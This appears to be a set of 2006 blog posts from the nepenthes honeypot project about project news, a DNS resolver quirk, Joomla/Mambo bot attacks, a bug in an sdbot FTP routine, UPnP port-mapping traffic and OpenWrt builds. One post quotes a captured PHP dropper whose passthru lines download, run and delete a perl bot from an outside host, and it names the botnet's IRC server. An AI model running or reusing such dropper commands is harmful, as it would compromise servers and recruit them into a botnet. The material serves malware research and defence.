Somewhen in the end of 2005 http://www.surfnet.nl SurfNET asked us for a way to parse nepenthes logfiles to store the information in a database, today they got their own module which logs directly into the database, and it is still a lot of fun to work with them. SurfNET is the noble sponsor of the hardware and bandwith hosting this project’s homepage and subversion repository.
Honeytrap by Tillmann Werner is a neat project too, sharing ideas improved both projects. Meeting him on a congress was a lot of fun.
In February 2006 we merged with mwcollect in order to save time due to shared work. It reads nice and we got pretty good feedback about this step. Now, ten months later, we can say there is neither saving time nor working together, in fact there are pointless discussions about basics and delay about the parts which meant to be ‘shared work’. When it comes to giving a talk on Blackhat Asia there is no hesitation, papers are written, bags are packed, have a nice trip, but when it is meant to be work, nobody's got time spare.
The mwcollect alliance is stalled, of course its goals are valuable, but as long as nobody, not even the projects maintainer, is willing to spend
time on it, it won't make it. From what I remember the mwcollect alliance was planned as a community project, to establish a community you have to offer more than a bunch of files via rsync, offering more than a bunch of files via rsync requires work on the infrastructure, work requires somebody who is willing to do it. On the other hand, when it comes to earning the projects fruits, the laziest ones will be first.
Some months ago a small American company with district offices in America, Europe and Asia contacted us to buy a license on the nepenthes code, after some negotiation we were able to explain that $500 is not a serious offer for a non exclusive bsd license on the projects code, as we were sure they would sell it for much more. After questioning the value of their offer, they did not even respond to our email, real gentleman.
Not sure when we’ve heard about scriptgen the first time, not sure when the first paper was written, scriptgen is still ‘work in progress’. Even though its value to the project is huge, it’s delay is getting scary.
Some of the flaws we faced in 2006 showed that you can not catch all flaws low interaction, some flaws require too much of the underlying protocol, others collide with flaws on the same port. This was not that much of a problem, if these flaws would not be used to distribute malware. We are looking forward to solve this issue, no promises about how/when though, but last night gave pretty promising results.
A nice new year’s eve to all our users, see you in 2007
Markus & Paul
As it has been a while since the last release, as a lot of things changed, and as these things are useless if nobody can benefit, we decided to roll a new release. Yes, we skipped 0.1.8 and 0.1.9, taking the time & changes into account.
Whats left to say:
Enjoy it.
From time to time it’s worth crawling the dark sides of the web for input, and sometimes there are intresting, sometimes funny things.
Pardon the excessive use of aolbonics in the screenshot, apart from blacking the ips we did not touch it, microsofts leetspeak guide might help you getting an idea what was meant to be said.
I know, if you plan to loose your audience, talk about dns, most people will be bored as ‘it works for them’ or they’ve heard about dns poising/hijacking, dnssec and common dns abuse (f.e. sender policy framework) more than enough.
But, I won’t touch above’s topics, I’ll sketch how enterprise buisnesses break compatibilty with the rest of the world.
Playing with a new submissim module for nepenthes, I asked nepenthes do download an image from www.intel.com and got this:
[ warn down handler ] url www.intel.com unresolved, dropping download
I checked my resolv.conf, it was fine, ping was fine too
ping www.intel.com PING a961.g.akamai.net (213.148.129.137) 56(84) bytes of data.
dig show’d a CNAME record
dig ANY www.intel.com | grep -v "^;" www.intel.com. 8 IN CNAME www.intel.com.edgesuite.net.
So I decided to give adnshost a shot ...
adnshost www.intel.com www.intel.com CNAME www.intel.com.edgesuite.net Error during DNS A lookup for www.intel.com: DNS alias found where canonical name wanted
So, it seem’d like something was wrong with the CNAME www.intel.com.edgesuite.net
dig ANY www.intel.com.edgesuite.net www.intel.com.edgesuite.net. 16302 IN CNAME a961.g.akamai.net.
a961.g.akamai.net was the PTR for the ip I pinged when I wanted to ping www.intel.com, so I ran out of ideas, but google gave a perfect hit about the problem when asking for
Error during DNS A lookup for DNS alias found where canonical name wanted
So, according to the adns author Ian Jackson:
Someone else said that CNAME chains *are* legal. This is not true.
RFC2181 `Clarifications to the DNS Specification':
10.1. CNAME resource records
The DNS CNAME ("canonical name") record exists to provide the
canonical name associated with an alias name. There may be only one
such canonical name for any one alias. [...]
...
10.1.1. CNAME terminology
...
[...] the label of a CNAME record is most certainly
not a canonical name. [...]
This is also documented in numerous other places.
adns never follows more than one CNAME. This is to avoid the need for
complicated loop detection algorithms or arbitrary limits on the
number of CNAMEs which will be traversed. If adns finds that the
target of a CNAME is another CNAME, you will get the `DNS alias found
where canonical name wanted' error, which is an adns error code.
source: adns-discuss "not following CNAME chains..." 2001
I gave www.microsoft.com a shot, and they suffer the same akamai enterprise dns illness
adnshost www.microsoft.com www.microsoft.com CNAME toggle.www.ms.akadns.net Error during DNS A lookup for www.microsoft.com: DNS alias found where canonical name wanted
As I don’t think www.intel.com or www.microsoft.com are unreachable for the rest of the world, there is nothing left to say but:
They did not only break it, they made it working a default.
We reported the attacks on Joomla/Mambo cms to the Internet Storm Center and they made a nice story of it, here is what they wrote.
Published: 2006-07-14, Last Updated: 2006-07-14 03:02:03 UTC by Bojan Zdrnja (Version: 2(click to highlight changes))
Yesterday fellow handler Chris wrote about a possible phpBB worm exploiting a 0-day vulnerability (http://isc.sans.org/diary.php?storyid=1480). If you’re using phpBB you can relax – the worm we’ve analyzed doesn’t exploit any vulnerabilities in phpBB.
We’ve received two samples from the Nepenthes Development team and analyzed them. Both samples contain practically the same bot written in perl. The only difference between them is the vulnerability which is being exploited.
Both bots exploit remote file inclusion vulnerabilities in components that are typically used with Joomla and Mambo, popular CMS packages. In first case the bot is exploiting a vulnerability in the perForms component that is used to create dynamic forms. The second perl bot exploits an unpatched vulnerability in Joomla/Mambo CNS component SimpleBoard (there is a CVE for this vulnerability, http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3528). It looks like even the latest RC version of the SimpleBoard component is affected by this vulnerability so be sure to disable it if you have it installed on your machine. In both cases exploits for these vulnerabilities have been published previously.
Besides the attack part, the perl bot also contains couple of “extra features”. The bot will report to a hard coded IRC server. Besides the attack component, the bot can also perform a poor TCP portscan (the destination ports are also hard coded in the bot and can not be changed), UDP, TCP and HTTP floods. The bot will use Google to search for vulnerable sites and offers the possibility of executing any commands through the remote shell.
If you have been following our diaries you probably noticed a trend of exploiting vulnerabilities in third party components for Joomla and Mambo packages. While there were some vulnerabilities in the core packages as well, one can expect that there is a whole new world of vulnerabilities in third party components, so be careful on what you install. Install and enable only components that you really need and be sure that you subscribe to all the relevant mailing lists so you can keep track of what’s going on with them.
I have to admit this was not caught using nepenthes, neither using a ghh or phphop.
A friend asked me if I knew about whats going on there.
The used vuln seems to be similar too
The included script is located on http://www.aol.eu.com/cmdek3.txt and looks like
<? passthru('cd /tmp;wget http://www.aol.eu.com/botek.txt;perl botek.txt;rm botek.txt.*'); passthru('cd /tmp;curl -O http://www.aol.eu.com/botek.txt;perl botek.txt;rm botek.txt.*'); passthru('cd /tmp;lwp-download http://www.aol.eu.com/botek.txt;perl botek.txt;rm botek.txt.*'); ?>
the current botnet is located on oslo1.no.eu.super-chat.org port 6667 #arubia. Make sure to form your nick like
[Mills] End of WHOIS list. [Welles] (Blakemore@cloaked_to_protect_the_innocent) : Linux earth-three 2.6.13 #1 SMP Fri Sep 2 11:00:16 [Welles] #arubia [Welles] *.Super-Chat.org :The Super-Chat IRC Network
Is this a 0day?
but mambo mosConfig_absolute_path exploit.
Amazing how many unpatched boxes lurk the net.
depper digging show’d up this seems to be related to:
which lacks the fix the mambo devs ask for
Playing with the honeytrap module, I saw some strange behaviour from hosts attacking nepenthes. They connected, exploitet to gain shell, connected the shell, and run a ftp command. Nepenthes connected the viris ftp server, and asked for the file, providing the port where to send the file via the PORT command (active ftp). In some cases, the virus would send the file to a _very_ different port, the honeytrap module kicked it, and we got the file send to a shell emulation.
So, we checked if there was a bug when sending the PORT command in nepenthes, and found none, having a look on some sdbot forks ftpd code, we got this:
char buf[100]; char a[4]; char b[4]; char c[4]; char d[4]; char p1[50]; char p2[50]; char tmpip[15]; int po,po2; if ( strcmp(tmpbuf,"PORT") == 0 ) { sscanf(buf,"%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]",a,b,c,d,p1,p2); po = atoi(p1); po2 = atoi(p2); memset(p1,0,sizeof(p1)); sprintf(p1,"%x%x\n",po,po2); h = strtoul(p1, NULL, 16); sprintf(tmpip,"%s.%s.%s.%s",a,b,c,d); send(i,"200 PORT command successful.\n",29 , 0); }
the PORT command is parsed using sscanf, and splitup in a b c d p1 and p2. Each comma seperated value in this listing is a bytes value, its range is from 0-255. a.b.c.d represents the remotes ip, and p1 and p2 are parts of the port.
Obviously ‘recalculating’ the port failed in some cases, but why?
Using the code to create a PORT command from nepenthes and the code from the virus to parse the command, we ended up that 61440 of 65536 ports would work with the virus code, which meant in 4080/65536 of all cases, or ~6.2% the ftp download would fail as the virus would ‘calculate’ the wrong port.
Now, to understand why the virus fails, one has to understand how the portnumber is encoded into the PORT command. The port command has 2 bytes, and therefore needs 2 comma seperated values in the PORT command, when creating the PORT command, you get the integer value of the first byte of the port, print it, and then print the integer value of the second byte of the port.
int main(int argc, char **argv) { if ( argc < 2) return 0; int port = atoi(argv[1]); printf("PORT 127,0,0,1,%i,%i\n",(port >> 8) & 0xff, port & 0xff ); }
as an example gives
./make_port 4711 PORT 127,0,0,1,18,103
so the port is encoded into 18 and 103, to regain the value of the port, one could calculate
ntohs((18 << 8) | 103)
but the viri authors decided to do better, and did
sprintf(p1,"%x%x\n",po,po2); h = strtoul(p1, NULL, 16);
where p1 would be “1267\n” using our values, and h would be 4711, the right port.
Now, to see it failing, lets see what happens when using port 1280.
./make_port 1280 PORT 127,0,0,1,5,0 our port 1280 their p1 string 50 their port 80
As you might be able to see, their p1 string is too short, it should be “0500” which is 1280 when using 16 as base. The port calculation would fail on every port where the hex value of the lower byte starts with “0”, using
sprintf(p1,"%02x%02x\n",po,po2);
instead, or using the previous posted shifting would prevent this.
To workaround this problem, we decided to use only ports for ftp known to be working with buggy viri.
I played with UPnP lately, and think it may be worth to share the experiences.
The wikipedia entry is pretty general, and does not cover the large scale of problems, apart from missing authentication and a lack of standard for the HTTPMU protocoll.
I’ll focus on a specific use of UPnP, a hardware router from linksys (WRT54GS) with UPnP enabled, this is a ‘servicepoint’, and a controllpoint, a nepenthes module which will add portforwarding rules on the gateway using upnp.
So what happens on the wire, the servicepoint has the address 192.168.1.1, the controlpoint 192.168.3.1 (I refomatted the messages)
The servicepoint sends a a bunch of udp multicasts to its subnet.
UDP 192.168.1.1:1900 → 239.255.255.0:1900
NOTIFY * HTTP/1.1 HOST: 239.255.255.250:1900 CACHE-CONTROL: max-age=180 Location: http:/ /192.168.1.1:5431/dyndev/uuid:00 13-1007-eefc0000eddc NT: urn:schemas-upnp-org:service:WANPPPConnection: NTS: ssdp:alive SERVER: LINUX/2.4 UPnP/1.0 BRCM400/1.0 USN: uuid:0013-1007-eefc0200eddc::urn:schemas-upnp-org:service:WANPPPConnection:1
This kind of message is called HTTPMU and is not standarized, the ietf draft expired in 2001.
The control point searches for service points which offer the service he can control.
UDP 192.168.1.3:38246 → 239.255.255.0:1900
M-SEARCH * HTTP/1.1 HOST: 239.255.255.250:1900 MAN: "ssdp: discover" MX: 5 ST: urn:schema s-upnp-org:device:InternetGatewayDevice:1
The servicepoint answers, and offers a URL where the control point can download a service description.
UDP 192.168.1.1:1900 → 192.168.1.3:38246
HTTP/1.1 200 OK ST: urn:sche mas-upnp-org:device:InternetGatewayDevice:1 USN :uuid:0013-1007-eefc0000eddc::urn:schemas-upnp-org:device:Intern etGatewayDevice:1 Location: http://192.168.1.1:5431/dyndev/uuid:0013-1007-eefc0000eddc Server: Custom/1.0 UPnP /1.0 Proc/Ver EXT: Cache-Control:max-age=180 DATE: Sun, 02 Ju l 2006 04:55:30 GMT
the servicepoints service description contains the required informations which subservices the service offers, as well as which url to use to controll them.
Please note the http protocol, as well as the xml format
GET /dyndev/uuid:0013-1007-eefc0000eddc HTTP/1.1 HOST: 192.168.1.1:5431 DATE: Sun, 02 Jul 2006 11:56:29 GMT CONNECTION: close USER-AGENT: Linux/2.6.14.4, UPnP/1.0, Portable SDK for UPnP devices/1.4.0 HTTP/1.0 200 OK SERVER: LINUX/2.4 UPnP/1.0 BRCM400/1.0 DATE: Sun, 02 Jul 2006 04:55:30 GMT CONTENT-TYPE: application/octet-stream Cache-Control: max-age=1 PRAGMA: no-cache Connection: Close <?xml version="1.0"?> <root xmlns="urn:schemas-upnp-org:device-1-0"> <specVersion> <major>1</major> <minor>0</minor> </specVersion> <device> <deviceType>urn:schemas-upnp-org:device:InternetGatewayDevice:1</deviceType> <friendlyName>Residential Gateway Device</friendlyName> <manufacturer>Linksys Inc.</manufacturer> <manufacturerURL>http://www.linksys.com/</manufacturerURL> <modelDescription>Internet Access Server</modelDescription> <modelName>WRT54GS</modelName> <modelNumber>v4.71.0</modelNumber> <modelURL>http://www.linksys.com/</modelURL> <UDN>uuid:0013-1007-eefc0000eddc</UDN> <serviceList> <service> <serviceType>urn:schemas-upnp-org:service:Layer3Forwarding:1</serviceType> <serviceId>urn:upnp-org:serviceId:Layer3Forwarding:11</serviceId> <controlURL>/uuid:0013-1007-eefc0000eddc/Layer3Forwarding:1</controlURL> <eventSubURL>/uuid:0013-1007-eefc0000eddc/Layer3Forwarding:1</eventSubURL> <SCPDURL>/dynsvc/Layer3Forwarding:1.xml</SCPDURL> </service> </serviceList> <deviceList> <device> <deviceType>urn:schemas-upnp-org:device:WANDevice:1</deviceType> <friendlyName>urn:schemas-upnp-org:device:WANDevice:1</friendlyName> <manufacturer>Linksys Inc.</manufacturer> <manufacturerURL>http://www.linksys.com/</manufacturerURL> <modelDescription>Internet Access Server</modelDescription> <modelName>WRT54GS</modelName> <modelNumber>v4.71.0</modelNumber> <modelURL>http://www.linksys.com/</modelURL> <UDN>uuid:0013-1007-eefc0100eddc</UDN> <serviceList> <service> <serviceType>urn:schemas-upnp-org:service:WANCommonInterfaceConfig:1</serviceType> <serviceId>urn:upnp-org:serviceId:WANCommonIFC1</serviceId> <controlURL>/uuid:0013-1007-eefc0100eddc/WANCommonInterfaceConfig:1</controlURL> <eventSubURL>/uuid:0013-1007-eefc0100eddc/WANCommonInterfaceConfig:1</eventSubURL> <SCPDURL>/dynsvc/WANCommonInterfaceConfig:1.xml</SCPDURL> </service> </serviceList> <deviceList> <device> <deviceType>urn:schemas-upnp-org:device:WANConnectionDevice:1</deviceType> <friendlyName>urn:schemas-upnp-org:device:WANConnectionDevice:1</friendlyName> <manufacturer>Linksys Inc.</manufacturer> <manufacturerURL>http://www.linksys.com/</manufacturerURL> <modelDescription>Internet Access Server</modelDescription> <modelName>WRT54GS</modelName> <modelNumber>v4.71.0</modelNumber> <modelURL>http://www.linksys.com/</modelURL> <UDN>uuid:0013-1007-eefc0200eddc</UDN> <serviceList> <service> <serviceType>urn:schemas-upnp-org:service:WANIPConnection:1</serviceType> <serviceId>urn:upnp-org:serviceId:WANIPConn1</serviceId> <controlURL>/uuid:0013-1007-eefc0200eddc/WANIPConnection:1</controlURL> <eventSubURL>/uuid:0013-1007-eefc0200eddc/WANIPConnection:1</eventSubURL> <SCPDURL>/dynsvc/WANIPConnection:1.xml</SCPDURL> </service> <service> <serviceType>urn:schemas-upnp-org:service:WANPPPConnection:1</serviceType> <serviceId>urn:upnp-org:serviceId:WANPPPConn1</serviceId> <controlURL>/uuid:0013-1007-eefc0200eddc/WANPPPConnection:1</controlURL> <eventSubURL>/uuid:0013-1007-eefc0200eddc/WANPPPConnection:1</eventSubURL> <SCPDURL>/dynsvc/WANPPPConnection:1.xml</SCPDURL> </service> </serviceList> </device> </deviceList> </device> </deviceList> </device> </root>
TCP 192.168.3.1: → 192.168.1.1:5431
When subscribing to a subservice, the controll point has to provide a callback url, where the service point can post http messages in the G Event Notification Architecture (which is based upon xml).
Please note that this means, your controlpoint runs a http server too, which allows the servicepoint to send you GENA messages
SUBSCRIBE /uuid:0013-1007-eefc0100eddc/WANCommonInterfaceConfig:1 HTTP/1.1 HOST: 192.168.1.1:5431 CALLBACK: <http://192.168.1.3:49152/> NT: upnp:event TIMEOUT: Second-1801 HTTP/1.1 200 OK Server: LINUX/2.4 UPnP/1.0 BRCM400/1.0 SID: uuid:0013-1007-eefc03f0a4b3 TIMEOUT: Second-1801
SUBSCRIBE /uuid:0013-1007-eefc0000eddc/Layer3Forwarding:1 HTTP/1.1 HOST: 192.168.1.1:5431 CALLBACK: <http://192.168.1.3:49152/> NT: upnp:event TIMEOUT: Second-1801 HTTP/1.1 200 OK Server: LINUX/2.4 UPnP/1.0 BRCM400/1.0 SID: uuid:0013-1007-eefc04f09cab TIMEOUT: Second-1801
SUBSCRIBE /uuid:0013-1007-eefc0200eddc/WANIPConnection:1 HTTP/1.1 HOST: 192.168.1.1:5431 CALLBACK: <http://192.168.1.3:49152/> NT: upnp:event TIMEOUT: Second-0 HTTP/1.1 200 OK Server: LINUX/2.4 UPnP/1.0 BRCM400/1.0 SID: uuid:0013-1007-eefc05f09ba7 TIMEOUT: Second-0
SUBSCRIBE /uuid:0013-1007-eefc0200eddc/WANPPPConnection:1 HTTP/1.1 HOST: 192.168.1.1:5431 CALLBACK: <http://192.168.1.3:49152/> NT: upnp:event TIMEOUT: Second-0 HTTP/1.1 200 OK Server: LINUX/2.4 UPnP/1.0 BRCM400/1.0 SID: uuid:0013-1007-eefc06f09ca8 TIMEOUT: Second-0
Please make sure to notice the service point POSTS these messages to a webserver on our controll point.
Please note this is SOAP formatted
TCP 192.168.1.1:any → 192.168.1.3:49152
NOTIFY / HTTP/1.1 HOST: 192.168.1.3:49152 CONTENT-TYPE: text/xml CONTENT-LENGTH: 153 NT: upnp:event NTS: upnp:propchange SID: uuid:0013-1007-eefc04f09cab SEQ: 0 <e:propertyset xmlns:e="urn:schemas-upnp-org:event-1-0"> <e:property> <DefaultConnectionService></DefaultConnectionService> </e:property> </e:propertyset> HTTP/1.1 200 OK SERVER: Linux/2.6.14.4, UPnP/1.0, Portable SDK for UPnP devices/1.4.0 CONNECTION: close CONTENT-LENGTH: 41 CONTENT-TYPE: text/html <html> <body> <h1>200 OK</h1> </body> </html>
NOTIFY / HTTP/1.1 HOST: 192.168.1.3:49152 CONTENT-TYPE: text/xml CONTENT-LENGTH: 211 NT: upnp:event NTS: upnp:propchange SID: uuid:0013-1007-eefc03f0a4b3 SEQ: 0 <e:propertyset xmlns:e="urn:schemas-upnp-org:event-1-0"> <e:property> <PhysicalLinkStatus>Up</PhysicalLinkStatus> </e:property> <e:property> <EnabledForInternet>1</EnabledForInternet> </e:property> </e:propertyset> HTTP/1.1 200 OK SERVER: Linux/2.6.14.4, UPnP/1.0, Portable SDK for UPnP devices/1.4.0 CONNECTION: close CONTENT-LENGTH: 41 CONTENT-TYPE: text/html <html> <body> <h1>200 OK</h1> </body> </html>
NOTIFY / HTTP/1.1 HOST: 192.168.1.3:49152 CONTENT-TYPE: text/xml CONTENT-LENGTH: 420 NT: upnp:event NTS: upnp:propchange SID: uuid:0013-1007-eefc08f09baa SEQ: 0 <e:propertyset xmlns:e="urn:schemas-upnp-org:event-1-0"> <e:property> <PossibleConnectionTypes>Unconfigured,IP_Routed,IP_Bridged</PossibleConnectionTypes> </e:property> <e:property> <ConnectionStatus>Connected</ConnectionStatus> </e:property> <e:property> <ExternalIPAddress>192.168.53.223</ExternalIPAddress> </e:property> <e:property> <PortMappingNumberOfEntries>18</PortMappingNumberOfEntries> </e:property> </e:propertyset> HTTP/1.1 200 OK SERVER: Linux/2.6.14.4, UPnP/1.0, Portable SDK for UPnP devices/1.4.0 CONNECTION: close CONTENT-LENGTH: 41 CONTENT-TYPE: text/html <html> <body> <h1>200 OK</h1> </body> </html>
NOTIFY / HTTP/1.1 HOST: 192.168.1.3:49152 CONTENT-TYPE: text/xml CONTENT-LENGTH: 420 NT: upnp:event NTS: upnp:propchange SID: uuid:0013-1007-eefc05f09ba7 SEQ: 0 <e:propertyset xmlns:e="urn:schemas-upnp-org:event-1-0"> <e:property> <PossibleConnectionTypes>Unconfigured,IP_Routed,IP_Bridged</PossibleConnectionTypes> </e:property> <e:property> <ConnectionStatus>Connected</ConnectionStatus> </e:property> <e:property> <ExternalIPAddress>192.168.53.223</ExternalIPAddress> </e:property> <e:property> <PortMappingNumberOfEntries>18</PortMappingNumberOfEntries> </e:property> </e:propertyset> HTTP/1.1 412 Precondition Failed SERVER: Linux/2.6.14.4, UPnP/1.0, Portable SDK for UPnP devices/1.4.0 CONNECTION: close CONTENT-LENGTH: 58 CONTENT-TYPE: text/html <html> <body> <h1>412 Precondition Failed</h1> </body> </html>
NOTIFY / HTTP/1.1 HOST: 192.168.1.3:49152 CONTENT-TYPE: text/xml CONTENT-LENGTH: 470 NT: upnp:event NTS: upnp:propchange SID: uuid:0013-1007-eefc07f09cab SEQ: 0 <e:propertyset xmlns:e="urn:schemas-upnp-org:event-1-0"> <e:property> <PossibleConnectionTypes>Unconfigured,IP_Routed,DHCP_Spoofed,PPPOE_Bridged,PPTP_Relay,L2TP_Relay,PPOE_Relay</PossibleConnectionTypes> </e:property> <e:property> <ConnectionStatus>Unconfigured</ConnectionStatus> </e:property> <e:property> <ExternalIPAddress>192.168.53.223</ExternalIPAddress> </e:property> <e:property> <PortMappingNumberOfEntries></PortMappingNumberOfEntries> </e:property> </e:propertyset> HTTP/1.1 200 OK SERVER: Linux/2.6.14.4, UPnP/1.0, Portable SDK for UPnP devices/1.4.0 CONNECTION: close CONTENT-LENGTH: 41 CONTENT-TYPE: text/html <html> <body> <h1>200 OK</h1> </body> </html>
Now, finally we can add a portmapping ...
POST /uuid:0013-1007-eefc0200eddc/WANIPConnection:1 HTTP/1.1 HOST: 192.168.1.1:5431 CONTENT-LENGTH: 590 CONTENT-TYPE: text/xml; charset="utf-8" SOAPACTION: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" USER-AGENT: Linux/2.6.14.4, UPnP/1.0, Portable SDK for UPnP devices/1.4.0 <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"> <NewRemoteHost></NewRemoteHost> <NewExternalPort>443</NewExternalPort> <NewProtocol>tcp</NewProtocol> <NewInternalPort>443</NewInternalPort> <NewInternalClient>192.168.1.3</NewInternalClient> <NewEnabled>1</NewEnabled> <NewPortMappingDescription>Nepenthes PFW (tcp) 443</NewPortMappingDescription> <NewLeaseDuration>0</NewLeaseDuration> </u:AddPortMapping> </s:Body> </s:Envelope> HTTP/1.1 200 OK DATE: Sun, 02 Jul 2006 04:55:44 GMT Connection: Keep-Alive Server: LINUX/2.4 UPnP/1.0 BRCM400/1.0 Content-Length: 289 Content-Type: text/xml; charset="utf-8" EXT: <?xml version="1.0"?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <m:AddPortMappingResponse xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1"></m:AddPortMappingResponse> </s:Body> </s:Envelope>
I hope this little excerpt was able to show: UPnP relies on
for service and control points.
as well as UPnP
From my own experience implementing the clientside http protocol is non trivial, I never tried doing it serverside. XML and SOAP, the majors when talking about enterprise software, define bloat in most usecases.
The library I used to write the controlpoint, libupnp (written by intel years ago and unmaintained), comes with:
And as you may expect it, it did not work, I had to tweak it for very trivial things, the content type the servicepoint replied for its content was “application/octet-stream” where the lib would only accept “text/xml”.
The library tries to hides every dirty detail about its internal threading to run the webserver and get/post content from/to the servicepoint ‘asynchronous’, one has to provide threading safe callbacks, and lock mutexes for shared informations.
Inadequate complexity for the actual use.
What you could not see, after adding 18 rules via upnp, I used Windows XP networking *whatever* to list the enabled UPnP forwardings, it took like 2 minutes to download all forwardings rules as the router was pretty loaded with requests.
Bad performance.
For now, even if its working, we won’t include the nepenthes module which would allow creating port forwards on upnp enabled devides, as the upnp library needs to be patched, and UPnP is nothing we want to support.
Some links about UPnP:
Yesterday I came across http://honeytrap.sf.net written by Tillmann Werner, and after digging it a little, I think it’s a good thing to talk about. honeytrap is a slightly different approach to collect malware than nepenthes, honeytrap monitors the interfaces streams with libcap and uses a bpf pattern to capture only TCP RST packets send by the localhost to a remote host.
RST means reset, and it is (in this case) used to tell the remote host there is no service listening on the port he tried to connect. Once such a RST packet is captured, honeytrap opens the port the remote asked for, and following connections to the same port will be accepted.
Furthermore honeytrap offers a so called “mirror mode”, if an attacker connects your honeytrap, honeytrap can connect the attacker on the same port, honeytrap will send the attacker everything the attacker sends him. This way it is possible to emulate weaknesses without knowing about them, using the attackers weakness as a ‘mirror’.
To be able to download malware, honeytrap offers a similar shell emulation to nepenthes and can download the files via tftp and ftp too.
Really cool, you should at give it a shot.
The similar nepenthes module module-honeytrap does not offer the mirror mode yet, but allows accepting connections to unbound ports intercepting the tcp handshake using ip_queue and libipq.
Maybe you’ve read the news about nepenthes on OpenWrt before. I mentioned the installation was pretty fat, as I had to install libstdc++ and this single file is about 4MB, where these dedicated hardware routers on linux got 8mb flash if you are lucky.
So, I went compiling nepenthes with uclibc++, which was an adventure of its own ...
After it went through -I had to patch some ctype.h includes this time-, nepenthes did not want to start ...
On loading a module, it stated “File Not Found” and quitted gracefully ... investigating the reason, I asked the uclibc developers, and was told to recompile uclibc with some debugging enabled for dl* functions such as dlopen(). I did as advised, and wanted to install the new uclibc version with debugging symbols on my WRT54GS using ipkg.
This was a really bad idea, as it bricked my new toy ..., trying to flash a new firmware, reflash the bootloader failed for about 7 days, as the lastet version of “HairyDairyMaid’s WRT54G Debrick Utility” (4.5) failed to flash the router via jtag.
Yesterday, when I was about to give up, I noticed this might be a software problem when flashing the CFE bootloader, as the bootloader was not written correctly, and got a old, but working working version (3.0) using google ...
So today, I got my router working again, and I flashed the image with the debugging uClibc version to the router, and it worked. Next step was find out _why_ uclibc complained about not finding the file.
running export LD_DEBUG=1 and starting nepenthes tought me what’s been wrong
[ info mgr ] Loaded Nepenthes Configuration from "/opt/nepenthes/etc/nepenthes/nepenthes.conf".
Trying to dlopen 'lib/nepenthes/dnsresolveadns.so'
Checking if 'lib/nepenthes/dnsresolveadns.so' is already loaded
find library='dnsresolveadns.so'; searching
trying file='lib/nepenthes/dnsresolveadns.so'
file='lib/nepenthes/dnsresolveadns.so'; generating link map
dynamic: 0x2ade80ec base: 0x2ade8000
entry: 0x2ade9da0 phdr: 0x2ade8034 phnum: 0x5
Looking for needed libraries
Checking if 'libadns.so.1' is already loaded
Trying to load 'libadns.so.1', needed by 'lib/nepenthes/dnsresolveadns.so'
Checking if 'libmagic.so.1' is already loaded
Trying to load 'libmagic.so.1', needed by 'lib/nepenthes/dnsresolveadns.so'
Checking if 'libpcre.so.0' is already loaded
Trying to load 'libpcre.so.0', needed by 'lib/nepenthes/dnsresolveadns.so'
Checking if 'libcurl.so.3' is already loaded
Trying to load 'libcurl.so.3', needed by 'lib/nepenthes/dnsresolveadns.so'
Checking if 'libuClibc++.so.0' is already loaded
Trying to load 'libuClibc++.so.0', needed by 'lib/nepenthes/dnsresolveadns.so'
Checking if 'libdl.so.0' is already loaded
Trying to load 'libdl.so.0', needed by 'lib/nepenthes/dnsresolveadns.so'
Checking if 'libstdc++.so.6' is already loaded
Trying to load 'libstdc++.so.6', needed by 'lib/nepenthes/dnsresolveadns.so'
find library='libstdc++.so.6'; searching
searching RPATH='/opt/whiterussian/openwrt/build_mipsel/file-4.17/ipkg-install/lib:/usr/local/lib'
searching ldso dir='/lib'
searching full lib path list
Bummer: could not find 'libstdc++.so.6'!
[ crit mgr module ] dlerror File not found
[ crit mgr module ] handle == NULL
[ crit mgr module ] ERROR LOADING MODULE lib/nepenthes/dnsresolveadns.so: SHUTTING DOWN
Obviously the file dnsresolveadns.so was found, but one of it’s depencies, libstdc++.so.6 was not found ...
It took me some time till i figured out _why_ the hell the modules were linked against libstdc++.so.6 even though I had uClibc++ installed, and linked against it as advised in the OpenWrt docs. Problem was some flag in libtool,
The `libtool' program provides a standard way to generate both static and shared libraries. It hides the complexities of platform-specific library generation behind an interface that is the same across all platforms supported by libtool.
libtools relies on
postdeps="-lstdc++ -lm -lgcc_s -lc -lgcc_s"
as default linkage flags, using these flags ruined my build, as even though I had uClibc++ installed, libstdc++ was linked, and was missed on the router.
Hacking the libtool fixed this, and now I have the smallest nepenthes install ever
root@OpenWrt:/opt/nepenthes__# du -sh 2.1M .
and everything is linked against uClibc++ and uClibc
libuClibc++.so.0 => /usr/lib/libuClibc++.so.0 (0x2aaef000)
libc.so.0 => /lib/libc.so.0 (0x2ab5f000)
libm.so.0 => /lib/libm.so.0 (0x2ac01000)
libadns.so.1 => /usr/lib/libadns.so.1 (0x2ac48000)
libcurl.so.3 => /usr/lib/libcurl.so.3 (0x2ac9b000)
libpcre.so.0 => /usr/lib/libpcre.so.0 (0x2ad09000)
libmagic.so.1 => /lib/libmagic.so.1 (0x2ad58000)
libdl.so.0 => /lib/libdl.so.0 (0x2ada6000)
ld-uClibc.so.0 => /lib/ld-uClibc.so.0 (0x2aaa8000)
If you have any advice howto make libtool *not* using libstdc++ as default linkage for dynamic modules, please drop me a line.
Once I was told man never get adult, just the toys get more expensive ...
My latest ebay’d toy is a linksys WRT54GS in revision 1.1, (thats the revision that has 32mb ram and 8mb flash).
First step after connecting it to the lan was flashing it to run OpenWrt instead of the firmware shipped by the vendor.
OpenWrt is a Linux distribution for wireless routers. Instead of trying to cram every possible feature into one firmware, OpenWrt provides only a minimal firmware with support for add-on packages. For users this means the ability to custom tune features, removing unwanted packages to make room for other packages and for developers this means being able to focus on packages without having to test and release an entire firmware.
This was pretty easy. Additionally OpenWrt features a package management called ipkg and got pretty good docs howto create new packages for your router. The problem compiling software for the wrt54 series is, you have to crosscompile the code, as the router has a MIPS cpu. But the guidelines and the OpenWrt crosscompile toolchain are really good, so I created nepenthes packages for OpenWrt ‘White Russian RC5’.
I had to create packages for all depencies nepenthes uses, pcre was already provided by OpenWrt, but adns, curl and file had to be done.
As the nepenthes install takes little more diskspace than the device has, and the WRT54GS lacks any usb interface where i could attach some mass storage, I created a ssh share using openwrt’s shfs kernel module and shfsmount utilities.
